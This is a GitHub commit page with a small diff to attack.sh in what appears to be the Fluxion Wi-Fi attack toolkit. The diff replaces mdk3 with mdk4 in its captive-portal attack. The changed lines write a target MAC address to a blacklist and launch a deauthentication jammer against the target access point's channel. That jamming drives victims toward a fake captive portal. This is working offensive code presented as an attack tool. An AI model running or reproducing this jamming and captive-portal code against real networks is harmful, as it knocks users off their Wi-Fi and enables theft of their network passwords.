Update attack.sh

This commit is contained in:
Usama Abdul Sattar 2019-09-14 08:41:21 +05:00 committed by GitHub
parent 6c2a560bf1
commit 1de4363e93
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 3 deletions

View File

@ -1415,7 +1415,7 @@ stop_attack() {
2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
CaptivePortalJammerServiceXtermPID="" # Clear parent PID CaptivePortalJammerServiceXtermPID="" # Clear parent PID
fi fi
sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst" sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk4_blacklist.lst"
# Kill captive portal web server log viewer. # Kill captive portal web server log viewer.
if [ "$CaptivePortalWebServiceXtermPID" ]; then if [ "$CaptivePortalWebServiceXtermPID" ]; then
@ -1511,7 +1511,7 @@ start_attack() {
CaptivePortalWebServiceXtermPID=$! CaptivePortalWebServiceXtermPID=$!
echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice" echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice"
echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk3_blacklist.lst" echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk4_blacklist.lst"
if [ $FLUXIONEnable5GHZ -eq 1 ]; then if [ $FLUXIONEnable5GHZ -eq 1 ]; then
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
@ -1523,7 +1523,7 @@ start_attack() {
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
"mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & "mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk4_blacklist.lst\"" &
# Save parent's pid, to get to child later. # Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID=$! CaptivePortalJammerServiceXtermPID=$!